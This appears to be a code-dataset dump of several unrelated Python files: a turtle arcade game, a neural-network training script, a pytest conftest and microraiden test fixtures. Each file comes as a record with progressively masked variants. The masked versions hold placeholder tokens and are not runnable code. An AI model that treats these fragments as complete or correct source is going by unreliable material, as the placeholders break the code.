\"Left\")\r\n wn.onkeypress(go_right, \"Right\")\r\n wn.onkeyrelease(stop_player, \"Right\")\r\n\r\n\r\n \r\n while True:\r\n # Update screen\r\n wn.update()\r\n\r\n # Move the player\r\n if player.direction == \"left\":\r\n x = player.xcor()\r\n if x > -365:\r\n x -= 0.8\r\n player.setx(x)\r\n \r\n if player.direction == \"right\":\r\n x = player.xcor()\r\n if x < 365:\r\n x += 0.8\r\n player.setx(x)\r\n\r\n # Move the good guys\r\n for good_guy in good_guys:\r\n y = good_guy.ycor()\r\n y -= good_guy.speed\r\n good_guy.sety(y)\r\n\r\n # Check if off the screen\r\n if y < -300:\r\n x = random.randint(-380, 380)\r\n y = random.randint(300, 400)\r\n good_guy.goto(x, y)\r\n\r\n # Check for a collision with player\r\n if good_guy.distance(player) < 40:\r\n x = random.randint(-380, 380)\r\n y = random.randint(300, 400)\r\n good_guy.goto(x, y)\r\n score += 10\r\n pen.clear()\r\n pen.write(\"Score: {} Lives: {}\".format(score, lives), align=\"center\", font=font)\r\n winsound.PlaySound(\"video_game_retro_8bit_coin\", winsound.SND_FILENAME)\r\n \r\n # Move the bad guys\r\n for bad_guy in bad_guys:\r\n y = bad_guy.ycor()\r\n y -= bad_guy.speed\r\n bad_guy.sety(y)\r\n\r\n # Check if off the screen\r\n if y < -300:\r\n x = random.randint(-380, 380)\r\n y = random.randint(300, 400)\r\n bad_guy.goto(x, y)\r\n\r\n # Check for a collision with player\r\n if bad_guy.distance(player) < 40:\r\n x = random.randint(-380, 380)\r\n y = random.randint(300, 400)\r\n bad_guy.goto(x, y)\r\n score -= 10\r\n lives -= 1\r\n pen.clear()\r\n pen.write(\"Score: {} Lives: {}\".format(score, lives), align=\"center\", font=font)\r\n winsound.PlaySound(\"arcade_game_alarm_short\", winsound.SND_FILENAME)\r\n\r\n if lives <= 0:\r\n pen.clear()\r\n bad_guy.clear()\r\n good_guy.clear()\r\n show_message(score)\r\n winsound.PlaySound(\"game_over_sound\", winsound.SND_FILENAME)\r\n # wn.listen()\r\n # if wn.onkeypress(toggle_new_game, \"a\"):\r\n # if new_game == True:\r\n break\r\n # wn.onkeypress(sys.exit(), \"q\")\r\n\r\nwhile True:\r\n # Update screen\r\n wn.update()\r\n\r\n # Play music\r\n wn.bgpic(\"retro_city.gif\")\r\n winsound.PlaySound(\"retro_video_game_music-trimmed\", winsound.SND_LOOP)\r\n game_loop()\r\n turtle.Screen().clear()\r\n \r\n wn = turtle.Screen()\r\n wn.title(\"MaskUp\")\r\n wn.bgcolor(\"green\")\r\n wn.bgpic(\"retro_city_title_page.gif\")\r\n wn.setup(width=800, height=600)\r\n wn.tracer(0)\r\n\r\n #sys.exit()\r\n \r\n \r\n \r\n \r\n\r\n\r\nwn.mainloop()", "step-ids": [ 0, 2, 3, 4, 5 ] }

[ 0, 2, 3, 4, 5 ]

import numpy as np import pickle as p from mpl_toolkits.mplot3d import axes3d import matplotlib.pyplot as plt from numpy.random import randn from neural_network import network net = network([1,8,8,1], filename='./data/x', bias=True) # net.load_random() net.load() n = 32 x = np.array([[x] for x in np.linspace(0,1,n)]) y = (1+np.sin(10*x))/2 X = [xx[0] for xx in x] Y = [yy[0] for yy in y] plt.plot(x,y) c = 1 ii = 0 for ii in range(1001): # c = net.gradient_training(x,y,dw=0.1) c = net.retarded_training(x,y) print(ii,c) net.save() # if ii%10==0 and ii!=0: # net.shake(x,y,n=10) # net.save() # # ii+=1 N = 128 plt.plot(X,Y, 'ro') X = np.linspace(0,1,N) Y = [] for x in X: Y += [net.forward([x])[0]] plt.plot(X,np.array(Y)) plt.show() # for i in range(len(self.z)): # if i==0: # yHat = self.forward(x) # delta = np.multiply(yHat - y, sigmoidPrime(self.z[-1])) # dJdW = np.dot(self.a[-2].T, delta) # else: # delta = np.dot(delta, self.W[-i].T)*sigmoidPrime(self.z[-1-i]) # dJdW = np.dot(self.a[-2-i].T, delta) # dJ += [dJdW] # dJ = dJ[::-1]

normal

{ "blob_id": "cf07344808f2d91d8949cfc4beb9f923926e6851", "index": 6208, "step-1": "<mask token>\n", "step-2": "<mask token>\nnet.load()\n<mask token>\nplt.plot(x, y)\n<mask token>\nfor ii in range(1001):\n c = net.retarded_training(x, y)\n print(ii, c)\n net.save()\n<mask token>\nplt.plot(X, Y, 'ro')\n<mask token>\nfor x in X:\n Y += [net.forward([x])[0]]\nplt.plot(X, np.array(Y))\nplt.show()\n", "step-3": "<mask token>\nnet = network([1, 8, 8, 1], filename='./data/x', bias=True)\nnet.load()\nn = 32\nx = np.array([[x] for x in np.linspace(0, 1, n)])\ny = (1 + np.sin(10 * x)) / 2\nX = [xx[0] for xx in x]\nY = [yy[0] for yy in y]\nplt.plot(x, y)\nc = 1\nii = 0\nfor ii in range(1001):\n c = net.retarded_training(x, y)\n print(ii, c)\n net.save()\nN = 128\nplt.plot(X, Y, 'ro')\nX = np.linspace(0, 1, N)\nY = []\nfor x in X:\n Y += [net.forward([x])[0]]\nplt.plot(X, np.array(Y))\nplt.show()\n", "step-4": "import numpy as np\nimport pickle as p\nfrom mpl_toolkits.mplot3d import axes3d\nimport matplotlib.pyplot as plt\nfrom numpy.random import randn\nfrom neural_network import network\nnet = network([1, 8, 8, 1], filename='./data/x', bias=True)\nnet.load()\nn = 32\nx = np.array([[x] for x in np.linspace(0, 1, n)])\ny = (1 + np.sin(10 * x)) / 2\nX = [xx[0] for xx in x]\nY = [yy[0] for yy in y]\nplt.plot(x, y)\nc = 1\nii = 0\nfor ii in range(1001):\n c = net.retarded_training(x, y)\n print(ii, c)\n net.save()\nN = 128\nplt.plot(X, Y, 'ro')\nX = np.linspace(0, 1, N)\nY = []\nfor x in X:\n Y += [net.forward([x])[0]]\nplt.plot(X, np.array(Y))\nplt.show()\n", "step-5": "import numpy as np\nimport pickle as p\nfrom mpl_toolkits.mplot3d import axes3d\nimport matplotlib.pyplot as plt\nfrom numpy.random import randn\nfrom neural_network import network\n\nnet = network([1,8,8,1], filename='./data/x', bias=True)\n# net.load_random()\nnet.load()\n\nn = 32\n\nx = np.array([[x] for x in np.linspace(0,1,n)])\ny = (1+np.sin(10*x))/2\n\nX = [xx[0] for xx in x]\nY = [yy[0] for yy in y]\n\nplt.plot(x,y)\n\nc = 1\nii = 0\n\nfor ii in range(1001):\n # c = net.gradient_training(x,y,dw=0.1)\n c = net.retarded_training(x,y)\n print(ii,c)\n net.save()\n # if ii%10==0 and ii!=0:\n # net.shake(x,y,n=10)\n # net.save()\n # # ii+=1\n\nN = 128\n\nplt.plot(X,Y, 'ro')\n\nX = np.linspace(0,1,N)\nY = []\n\nfor x in X:\n Y += [net.forward([x])[0]]\n\nplt.plot(X,np.array(Y))\nplt.show()\n\n\n# for i in range(len(self.z)):\n# if i==0:\n# yHat = self.forward(x)\n# delta = np.multiply(yHat - y, sigmoidPrime(self.z[-1]))\n# dJdW = np.dot(self.a[-2].T, delta)\n# else:\n# delta = np.dot(delta, self.W[-i].T)*sigmoidPrime(self.z[-1-i])\n# dJdW = np.dot(self.a[-2-i].T, delta)\n\n# dJ += [dJdW]\n\n# dJ = dJ[::-1]", "step-ids": [ 0, 1, 2, 3, 4 ] }

[ 0, 1, 2, 3, 4 ]

<|reserved_special_token_0|> def pytest_addoption(parser): print('Option ') parser.addoption('--destination', action='store', help= 'subsystem address', dest='destination') @pytest.fixture def destination(request): print(request.config.getoption('--html')) return request.config.getoption('--destination') <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def pytest_collection_modifyitems(session, config, items): print('sono qui', items) def pytest_ignore_collect(path, config): print(path) print('mamma ', config.getoption('--destination')) return False def pytest_addoption(parser): print('Option ') parser.addoption('--destination', action='store', help= 'subsystem address', dest='destination') @pytest.fixture def destination(request): print(request.config.getoption('--html')) return request.config.getoption('--destination') @pytest.fixture(scope='session') def pq9_connection(): pq9client = PQ9Client.PQ9Client('localhost', '10000') pq9client.connect() yield pq9client pq9client.close() <|reserved_special_token_1|> <|reserved_special_token_0|> def pytest_configure(config): print('pytest_configure') def pytest_collection_modifyitems(session, config, items): print('sono qui', items) def pytest_ignore_collect(path, config): print(path) print('mamma ', config.getoption('--destination')) return False def pytest_addoption(parser): print('Option ') parser.addoption('--destination', action='store', help= 'subsystem address', dest='destination') @pytest.fixture def destination(request): print(request.config.getoption('--html')) return request.config.getoption('--destination') @pytest.fixture(scope='session') def pq9_connection(): pq9client = PQ9Client.PQ9Client('localhost', '10000') pq9client.connect() yield pq9client pq9client.close() <|reserved_special_token_1|> <|reserved_special_token_0|> sys.path.insert(1, '../Generic') <|reserved_special_token_0|> def pytest_configure(config): print('pytest_configure') def pytest_collection_modifyitems(session, config, items): print('sono qui', items) def pytest_ignore_collect(path, config): print(path) print('mamma ', config.getoption('--destination')) return False def pytest_addoption(parser): print('Option ') parser.addoption('--destination', action='store', help= 'subsystem address', dest='destination') @pytest.fixture def destination(request): print(request.config.getoption('--html')) return request.config.getoption('--destination') @pytest.fixture(scope='session') def pq9_connection(): pq9client = PQ9Client.PQ9Client('localhost', '10000') pq9client.connect() yield pq9client pq9client.close() <|reserved_special_token_1|> # content of conftest.py import pytest import sys sys.path.insert(1, '../Generic') import PQ9Client def pytest_configure(config): print("pytest_configure") def pytest_collection_modifyitems(session, config, items): print("sono qui", items) def pytest_ignore_collect(path, config): print(path) print("mamma ", config.getoption("--destination")) return False def pytest_addoption(parser): print("Option ") parser.addoption( "--destination", action="store", help="subsystem address", dest="destination", ) @pytest.fixture def destination(request): print(request.config.getoption("--html")) #print(request.config.getoption("kkk")) return request.config.getoption("--destination") @pytest.fixture(scope="session") #only 'make' this object once per session. def pq9_connection(): pq9client = PQ9Client.PQ9Client("localhost","10000") pq9client.connect() yield pq9client pq9client.close()

flexible

{ "blob_id": "ad88685e3f1cd5e0ddb42a5982a05ff8ee7b8111", "index": 1586, "step-1": "<mask token>\n\n\ndef pytest_addoption(parser):\n print('Option ')\n parser.addoption('--destination', action='store', help=\n 'subsystem address', dest='destination')\n\n\n@pytest.fixture\ndef destination(request):\n print(request.config.getoption('--html'))\n return request.config.getoption('--destination')\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef pytest_collection_modifyitems(session, config, items):\n print('sono qui', items)\n\n\ndef pytest_ignore_collect(path, config):\n print(path)\n print('mamma ', config.getoption('--destination'))\n return False\n\n\ndef pytest_addoption(parser):\n print('Option ')\n parser.addoption('--destination', action='store', help=\n 'subsystem address', dest='destination')\n\n\n@pytest.fixture\ndef destination(request):\n print(request.config.getoption('--html'))\n return request.config.getoption('--destination')\n\n\n@pytest.fixture(scope='session')\ndef pq9_connection():\n pq9client = PQ9Client.PQ9Client('localhost', '10000')\n pq9client.connect()\n yield pq9client\n pq9client.close()\n", "step-3": "<mask token>\n\n\ndef pytest_configure(config):\n print('pytest_configure')\n\n\ndef pytest_collection_modifyitems(session, config, items):\n print('sono qui', items)\n\n\ndef pytest_ignore_collect(path, config):\n print(path)\n print('mamma ', config.getoption('--destination'))\n return False\n\n\ndef pytest_addoption(parser):\n print('Option ')\n parser.addoption('--destination', action='store', help=\n 'subsystem address', dest='destination')\n\n\n@pytest.fixture\ndef destination(request):\n print(request.config.getoption('--html'))\n return request.config.getoption('--destination')\n\n\n@pytest.fixture(scope='session')\ndef pq9_connection():\n pq9client = PQ9Client.PQ9Client('localhost', '10000')\n pq9client.connect()\n yield pq9client\n pq9client.close()\n", "step-4": "<mask token>\nsys.path.insert(1, '../Generic')\n<mask token>\n\n\ndef pytest_configure(config):\n print('pytest_configure')\n\n\ndef pytest_collection_modifyitems(session, config, items):\n print('sono qui', items)\n\n\ndef pytest_ignore_collect(path, config):\n print(path)\n print('mamma ', config.getoption('--destination'))\n return False\n\n\ndef pytest_addoption(parser):\n print('Option ')\n parser.addoption('--destination', action='store', help=\n 'subsystem address', dest='destination')\n\n\n@pytest.fixture\ndef destination(request):\n print(request.config.getoption('--html'))\n return request.config.getoption('--destination')\n\n\n@pytest.fixture(scope='session')\ndef pq9_connection():\n pq9client = PQ9Client.PQ9Client('localhost', '10000')\n pq9client.connect()\n yield pq9client\n pq9client.close()\n", "step-5": "# content of conftest.py\nimport pytest\nimport sys\nsys.path.insert(1, '../Generic')\nimport PQ9Client\n \ndef pytest_configure(config):\n print(\"pytest_configure\")\n \ndef pytest_collection_modifyitems(session, config, items):\n print(\"sono qui\", items)\n \ndef pytest_ignore_collect(path, config):\n print(path)\n print(\"mamma \", config.getoption(\"--destination\"))\n return False \n\ndef pytest_addoption(parser):\n print(\"Option \")\n parser.addoption(\n \"--destination\", action=\"store\", help=\"subsystem address\", dest=\"destination\",\n )\n@pytest.fixture\ndef destination(request):\n print(request.config.getoption(\"--html\"))\n #print(request.config.getoption(\"kkk\"))\n return request.config.getoption(\"--destination\")\n\n@pytest.fixture(scope=\"session\") #only 'make' this object once per session.\ndef pq9_connection():\n pq9client = PQ9Client.PQ9Client(\"localhost\",\"10000\")\n pq9client.connect()\n\n yield pq9client\n pq9client.close()\n", "step-ids": [ 2, 5, 6, 7, 9 ] }

[ 2, 5, 6, 7, 9 ]

<|reserved_special_token_0|> @pytest.fixture def contracts_relative_path(): return 'data/contracts.json' @pytest.fixture def compiled_contracts_path(test_dir, contracts_relative_path): return os.path.join(test_dir, contracts_relative_path) @pytest.fixture def compiled_contracts(compiled_contracts_path): return json.load(open(compiled_contracts_path)) <|reserved_special_token_0|> @pytest.fixture(scope='session') def use_tester(request): return request.config.getoption('use_tester') @pytest.fixture def api_endpoint(): """address of a paywall proxy""" return 'localhost' @pytest.fixture def api_endpoint_port(): """port the paywall proxy listens on""" return 5000 @pytest.fixture def api_endpoint_address(api_endpoint, api_endpoint_port): return api_endpoint + ':' + str(api_endpoint_port) @pytest.fixture def init_contract_address(): return '0x' + 'a' * 40 <|reserved_special_token_0|> @pytest.fixture(scope='session') def deployer_address(deployer_privkey): return privkey_to_addr(deployer_privkey) <|reserved_special_token_0|> @pytest.fixture(scope='session') def contract_abis(contract_abi_path): abi_file = open(contract_abi_path, 'r') return json.load(abi_file) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> @pytest.fixture def contracts_relative_path(): return 'data/contracts.json' @pytest.fixture def compiled_contracts_path(test_dir, contracts_relative_path): return os.path.join(test_dir, contracts_relative_path) @pytest.fixture def compiled_contracts(compiled_contracts_path): return json.load(open(compiled_contracts_path)) <|reserved_special_token_0|> @pytest.fixture(scope='session') def use_tester(request): return request.config.getoption('use_tester') @pytest.fixture def api_endpoint(): """address of a paywall proxy""" return 'localhost' @pytest.fixture def api_endpoint_port(): """port the paywall proxy listens on""" return 5000 @pytest.fixture def api_endpoint_address(api_endpoint, api_endpoint_port): return api_endpoint + ':' + str(api_endpoint_port) @pytest.fixture def init_contract_address(): return '0x' + 'a' * 40 <|reserved_special_token_0|> @pytest.fixture(scope='session') def deployer_address(deployer_privkey): return privkey_to_addr(deployer_privkey) <|reserved_special_token_0|> @pytest.fixture(scope='session') def contract_abis(contract_abi_path): abi_file = open(contract_abi_path, 'r') return json.load(abi_file) <|reserved_special_token_0|> @pytest.fixture(scope='session') def token_abi(contract_abis): return contract_abis[TOKEN_ABI_NAME]['abi'] <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> @pytest.fixture def contracts_relative_path(): return 'data/contracts.json' @pytest.fixture def compiled_contracts_path(test_dir, contracts_relative_path): return os.path.join(test_dir, contracts_relative_path) @pytest.fixture def compiled_contracts(compiled_contracts_path): return json.load(open(compiled_contracts_path)) @pytest.fixture def test_dir(): return os.path.dirname(os.path.dirname(__file__)) + '/../' @pytest.fixture(scope='session') def use_tester(request): return request.config.getoption('use_tester') @pytest.fixture def api_endpoint(): """address of a paywall proxy""" return 'localhost' @pytest.fixture def api_endpoint_port(): """port the paywall proxy listens on""" return 5000 @pytest.fixture def api_endpoint_address(api_endpoint, api_endpoint_port): return api_endpoint + ':' + str(api_endpoint_port) @pytest.fixture def init_contract_address(): return '0x' + 'a' * 40 <|reserved_special_token_0|> @pytest.fixture(scope='session') def deployer_privkey(): return remove_0x_prefix(encode_hex(keys[3])) @pytest.fixture(scope='session') def deployer_address(deployer_privkey): return privkey_to_addr(deployer_privkey) <|reserved_special_token_0|> @pytest.fixture(scope='session') def contract_abis(contract_abi_path): abi_file = open(contract_abi_path, 'r') return json.load(abi_file) @pytest.fixture(scope='session') def channel_manager_abi(contract_abis): return contract_abis[CHANNEL_MANAGER_ABI_NAME]['abi'] @pytest.fixture(scope='session') def channel_manager_bytecode(contract_abis): return contract_abis[CHANNEL_MANAGER_ABI_NAME]['bytecode'] @pytest.fixture(scope='session') def token_abi(contract_abis): return contract_abis[TOKEN_ABI_NAME]['abi'] @pytest.fixture(scope='session') def token_bytecode(contract_abis): return contract_abis[TOKEN_ABI_NAME]['bytecode'] @pytest.fixture(scope='session') def kovan_block_time(): return 4 <|reserved_special_token_1|> <|reserved_special_token_0|> @pytest.fixture def contracts_relative_path(): return 'data/contracts.json' @pytest.fixture def compiled_contracts_path(test_dir, contracts_relative_path): return os.path.join(test_dir, contracts_relative_path) @pytest.fixture def compiled_contracts(compiled_contracts_path): return json.load(open(compiled_contracts_path)) @pytest.fixture def test_dir(): return os.path.dirname(os.path.dirname(__file__)) + '/../' @pytest.fixture(scope='session') def use_tester(request): return request.config.getoption('use_tester') @pytest.fixture def api_endpoint(): """address of a paywall proxy""" return 'localhost' @pytest.fixture def api_endpoint_port(): """port the paywall proxy listens on""" return 5000 @pytest.fixture def api_endpoint_address(api_endpoint, api_endpoint_port): return api_endpoint + ':' + str(api_endpoint_port) @pytest.fixture def init_contract_address(): return '0x' + 'a' * 40 @pytest.fixture def manager_state_path(): return '/tmp/rmp-state.pkl' @pytest.fixture(scope='session') def deployer_privkey(): return remove_0x_prefix(encode_hex(keys[3])) @pytest.fixture(scope='session') def deployer_address(deployer_privkey): return privkey_to_addr(deployer_privkey) <|reserved_special_token_0|> @pytest.fixture(scope='session') def contract_abis(contract_abi_path): abi_file = open(contract_abi_path, 'r') return json.load(abi_file) @pytest.fixture(scope='session') def channel_manager_abi(contract_abis): return contract_abis[CHANNEL_MANAGER_ABI_NAME]['abi'] @pytest.fixture(scope='session') def channel_manager_bytecode(contract_abis): return contract_abis[CHANNEL_MANAGER_ABI_NAME]['bytecode'] @pytest.fixture(scope='session') def token_abi(contract_abis): return contract_abis[TOKEN_ABI_NAME]['abi'] @pytest.fixture(scope='session') def token_bytecode(contract_abis): return contract_abis[TOKEN_ABI_NAME]['bytecode'] @pytest.fixture(scope='session') def kovan_block_time(): return 4 <|reserved_special_token_1|> import pytest from eth_utils import encode_hex, remove_0x_prefix from ethereum.tester import keys import os import json from microraiden.client.client import CHANNEL_MANAGER_ABI_NAME, TOKEN_ABI_NAME from microraiden.crypto import privkey_to_addr @pytest.fixture def contracts_relative_path(): return 'data/contracts.json' @pytest.fixture def compiled_contracts_path(test_dir, contracts_relative_path): return os.path.join(test_dir, contracts_relative_path) @pytest.fixture def compiled_contracts(compiled_contracts_path): return json.load(open(compiled_contracts_path)) @pytest.fixture def test_dir(): return os.path.dirname(os.path.dirname(__file__)) + "/../" @pytest.fixture(scope='session') def use_tester(request): return request.config.getoption('use_tester') @pytest.fixture def api_endpoint(): """address of a paywall proxy""" return 'localhost' @pytest.fixture def api_endpoint_port(): """port the paywall proxy listens on""" return 5000 @pytest.fixture def api_endpoint_address(api_endpoint, api_endpoint_port): return api_endpoint + ":" + str(api_endpoint_port) @pytest.fixture def init_contract_address(): return "0x" + "a" * 40 @pytest.fixture def manager_state_path(): return '/tmp/rmp-state.pkl' @pytest.fixture(scope='session') def deployer_privkey(): return remove_0x_prefix(encode_hex(keys[3])) @pytest.fixture(scope='session') def deployer_address(deployer_privkey): return privkey_to_addr(deployer_privkey) @pytest.fixture(scope='session') def contract_abi_path(): return os.path.join(os.path.dirname(os.path.dirname(__file__)), '../data/contracts.json') @pytest.fixture(scope='session') def contract_abis(contract_abi_path): abi_file = open(contract_abi_path, 'r') return json.load(abi_file) @pytest.fixture(scope='session') def channel_manager_abi(contract_abis): return contract_abis[CHANNEL_MANAGER_ABI_NAME]['abi'] @pytest.fixture(scope='session') def channel_manager_bytecode(contract_abis): return contract_abis[CHANNEL_MANAGER_ABI_NAME]['bytecode'] @pytest.fixture(scope='session') def token_abi(contract_abis): return contract_abis[TOKEN_ABI_NAME]['abi'] @pytest.fixture(scope='session') def token_bytecode(contract_abis): return contract_abis[TOKEN_ABI_NAME]['bytecode'] @pytest.fixture(scope='session') def kovan_block_time(): return 4

flexible

{ "blob_id": "438fe1ccf265706e202d7cc6044e57590f29801f", "index": 9375, "step-1": "<mask token>\n\n\n@pytest.fixture\ndef contracts_relative_path():\n return 'data/contracts.json'\n\n\n@pytest.fixture\ndef compiled_contracts_path(test_dir, contracts_relative_path):\n return os.path.join(test_dir, contracts_relative_path)\n\n\n@pytest.fixture\ndef compiled_contracts(compiled_contracts_path):\n return json.load(open(compiled_contracts_path))\n\n\n<mask token>\n\n\n@pytest.fixture(scope='session')\ndef use_tester(request):\n return request.config.getoption('use_tester')\n\n\n@pytest.fixture\ndef api_endpoint():\n \"\"\"address of a paywall proxy\"\"\"\n return 'localhost'\n\n\n@pytest.fixture\ndef api_endpoint_port():\n \"\"\"port the paywall proxy listens on\"\"\"\n return 5000\n\n\n@pytest.fixture\ndef api_endpoint_address(api_endpoint, api_endpoint_port):\n return api_endpoint + ':' + str(api_endpoint_port)\n\n\n@pytest.fixture\ndef init_contract_address():\n return '0x' + 'a' * 40\n\n\n<mask token>\n\n\n@pytest.fixture(scope='session')\ndef deployer_address(deployer_privkey):\n return privkey_to_addr(deployer_privkey)\n\n\n<mask token>\n\n\n@pytest.fixture(scope='session')\ndef contract_abis(contract_abi_path):\n abi_file = open(contract_abi_path, 'r')\n return json.load(abi_file)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\n@pytest.fixture\ndef contracts_relative_path():\n return 'data/contracts.json'\n\n\n@pytest.fixture\ndef compiled_contracts_path(test_dir, contracts_relative_path):\n return os.path.join(test_dir, contracts_relative_path)\n\n\n@pytest.fixture\ndef compiled_contracts(compiled_contracts_path):\n return json.load(open(compiled_contracts_path))\n\n\n<mask token>\n\n\n@pytest.fixture(scope='session')\ndef use_tester(request):\n return request.config.getoption('use_tester')\n\n\n@pytest.fixture\ndef api_endpoint():\n \"\"\"address of a paywall proxy\"\"\"\n return 'localhost'\n\n\n@pytest.fixture\ndef api_endpoint_port():\n \"\"\"port the paywall proxy listens on\"\"\"\n return 5000\n\n\n@pytest.fixture\ndef api_endpoint_address(api_endpoint, api_endpoint_port):\n return api_endpoint + ':' + str(api_endpoint_port)\n\n\n@pytest.fixture\ndef init_contract_address():\n return '0x' + 'a' * 40\n\n\n<mask token>\n\n\n@pytest.fixture(scope='session')\ndef deployer_address(deployer_privkey):\n return privkey_to_addr(deployer_privkey)\n\n\n<mask token>\n\n\n@pytest.fixture(scope='session')\ndef contract_abis(contract_abi_path):\n abi_file = open(contract_abi_path, 'r')\n return json.load(abi_file)\n\n\n<mask token>\n\n\n@pytest.fixture(scope='session')\ndef token_abi(contract_abis):\n return contract_abis[TOKEN_ABI_NAME]['abi']\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\n@pytest.fixture\ndef contracts_relative_path():\n return 'data/contracts.json'\n\n\n@pytest.fixture\ndef compiled_contracts_path(test_dir, contracts_relative_path):\n return os.path.join(test_dir, contracts_relative_path)\n\n\n@pytest.fixture\ndef compiled_contracts(compiled_contracts_path):\n return json.load(open(compiled_contracts_path))\n\n\n@pytest.fixture\ndef test_dir():\n return os.path.dirname(os.path.dirname(__file__)) + '/../'\n\n\n@pytest.fixture(scope='session')\ndef use_tester(request):\n return request.config.getoption('use_tester')\n\n\n@pytest.fixture\ndef api_endpoint():\n \"\"\"address of a paywall proxy\"\"\"\n return 'localhost'\n\n\n@pytest.fixture\ndef api_endpoint_port():\n \"\"\"port the paywall proxy listens on\"\"\"\n return 5000\n\n\n@pytest.fixture\ndef api_endpoint_address(api_endpoint, api_endpoint_port):\n return api_endpoint + ':' + str(api_endpoint_port)\n\n\n@pytest.fixture\ndef init_contract_address():\n return '0x' + 'a' * 40\n\n\n<mask token>\n\n\n@pytest.fixture(scope='session')\ndef deployer_privkey():\n return remove_0x_prefix(encode_hex(keys[3]))\n\n\n@pytest.fixture(scope='session')\ndef deployer_address(deployer_privkey):\n return privkey_to_addr(deployer_privkey)\n\n\n<mask token>\n\n\n@pytest.fixture(scope='session')\ndef contract_abis(contract_abi_path):\n abi_file = open(contract_abi_path, 'r')\n return json.load(abi_file)\n\n\n@pytest.fixture(scope='session')\ndef channel_manager_abi(contract_abis):\n return contract_abis[CHANNEL_MANAGER_ABI_NAME]['abi']\n\n\n@pytest.fixture(scope='session')\ndef channel_manager_bytecode(contract_abis):\n return contract_abis[CHANNEL_MANAGER_ABI_NAME]['bytecode']\n\n\n@pytest.fixture(scope='session')\ndef token_abi(contract_abis):\n return contract_abis[TOKEN_ABI_NAME]['abi']\n\n\n@pytest.fixture(scope='session')\ndef token_bytecode(contract_abis):\n return contract_abis[TOKEN_ABI_NAME]['bytecode']\n\n\n@pytest.fixture(scope='session')\ndef kovan_block_time():\n return 4\n", "step-4": "<mask token>\n\n\n@pytest.fixture\ndef contracts_relative_path():\n return 'data/contracts.json'\n\n\n@pytest.fixture\ndef compiled_contracts_path(test_dir, contracts_relative_path):\n return os.path.join(test_dir, contracts_relative_path)\n\n\n@pytest.fixture\ndef compiled_contracts(compiled_contracts_path):\n return json.load(open(compiled_contracts_path))\n\n\n@pytest.fixture\ndef test_dir():\n return os.path.dirname(os.path.dirname(__file__)) + '/../'\n\n\n@pytest.fixture(scope='session')\ndef use_tester(request):\n return request.config.getoption('use_tester')\n\n\n@pytest.fixture\ndef api_endpoint():\n \"\"\"address of a paywall proxy\"\"\"\n return 'localhost'\n\n\n@pytest.fixture\ndef api_endpoint_port():\n \"\"\"port the paywall proxy listens on\"\"\"\n return 5000\n\n\n@pytest.fixture\ndef api_endpoint_address(api_endpoint, api_endpoint_port):\n return api_endpoint + ':' + str(api_endpoint_port)\n\n\n@pytest.fixture\ndef init_contract_address():\n return '0x' + 'a' * 40\n\n\n@pytest.fixture\ndef manager_state_path():\n return '/tmp/rmp-state.pkl'\n\n\n@pytest.fixture(scope='session')\ndef deployer_privkey():\n return remove_0x_prefix(encode_hex(keys[3]))\n\n\n@pytest.fixture(scope='session')\ndef deployer_address(deployer_privkey):\n return privkey_to_addr(deployer_privkey)\n\n\n<mask token>\n\n\n@pytest.fixture(scope='session')\ndef contract_abis(contract_abi_path):\n abi_file = open(contract_abi_path, 'r')\n return json.load(abi_file)\n\n\n@pytest.fixture(scope='session')\ndef channel_manager_abi(contract_abis):\n return contract_abis[CHANNEL_MANAGER_ABI_NAME]['abi']\n\n\n@pytest.fixture(scope='session')\ndef channel_manager_bytecode(contract_abis):\n return contract_abis[CHANNEL_MANAGER_ABI_NAME]['bytecode']\n\n\n@pytest.fixture(scope='session')\ndef token_abi(contract_abis):\n return contract_abis[TOKEN_ABI_NAME]['abi']\n\n\n@pytest.fixture(scope='session')\ndef token_bytecode(contract_abis):\n return contract_abis[TOKEN_ABI_NAME]['bytecode']\n\n\n@pytest.fixture(scope='session')\ndef kovan_block_time():\n return 4\n", "step-5": "import pytest\nfrom eth_utils import encode_hex, remove_0x_prefix\nfrom ethereum.tester import keys\n\nimport os\nimport json\nfrom microraiden.client.client import CHANNEL_MANAGER_ABI_NAME, TOKEN_ABI_NAME\nfrom microraiden.crypto import privkey_to_addr\n\n\n@pytest.fixture\ndef contracts_relative_path():\n return 'data/contracts.json'\n\n\n@pytest.fixture\ndef compiled_contracts_path(test_dir, contracts_relative_path):\n return os.path.join(test_dir, contracts_relative_path)\n\n\n@pytest.fixture\ndef compiled_contracts(compiled_contracts_path):\n return json.load(open(compiled_contracts_path))\n\n\n@pytest.fixture\ndef test_dir():\n return os.path.dirname(os.path.dirname(__file__)) + \"/../\"\n\n\n@pytest.fixture(scope='session')\ndef use_tester(request):\n return request.config.getoption('use_tester')\n\n\n@pytest.fixture\ndef api_endpoint():\n \"\"\"address of a paywall proxy\"\"\"\n return 'localhost'\n\n\n@pytest.fixture\ndef api_endpoint_port():\n \"\"\"port the paywall proxy listens on\"\"\"\n return 5000\n\n\n@pytest.fixture\ndef api_endpoint_address(api_endpoint, api_endpoint_port):\n return api_endpoint + \":\" + str(api_endpoint_port)\n\n\n@pytest.fixture\ndef init_contract_address():\n return \"0x\" + \"a\" * 40\n\n\n@pytest.fixture\ndef manager_state_path():\n return '/tmp/rmp-state.pkl'\n\n\n@pytest.fixture(scope='session')\ndef deployer_privkey():\n return remove_0x_prefix(encode_hex(keys[3]))\n\n\n@pytest.fixture(scope='session')\ndef deployer_address(deployer_privkey):\n return privkey_to_addr(deployer_privkey)\n\n\n@pytest.fixture(scope='session')\ndef contract_abi_path():\n return os.path.join(os.path.dirname(os.path.dirname(__file__)), '../data/contracts.json')\n\n\n@pytest.fixture(scope='session')\ndef contract_abis(contract_abi_path):\n abi_file = open(contract_abi_path, 'r')\n return json.load(abi_file)\n\n\n@pytest.fixture(scope='session')\ndef channel_manager_abi(contract_abis):\n return contract_abis[CHANNEL_MANAGER_ABI_NAME]['abi']\n\n\n@pytest.fixture(scope='session')\ndef channel_manager_bytecode(contract_abis):\n return contract_abis[CHANNEL_MANAGER_ABI_NAME]['bytecode']\n\n\n@pytest.fixture(scope='session')\ndef token_abi(contract_abis):\n return contract_abis[TOKEN_ABI_NAME]['abi']\n\n\n@pytest.fixture(scope='session')\ndef token_bytecode(contract_abis):\n return 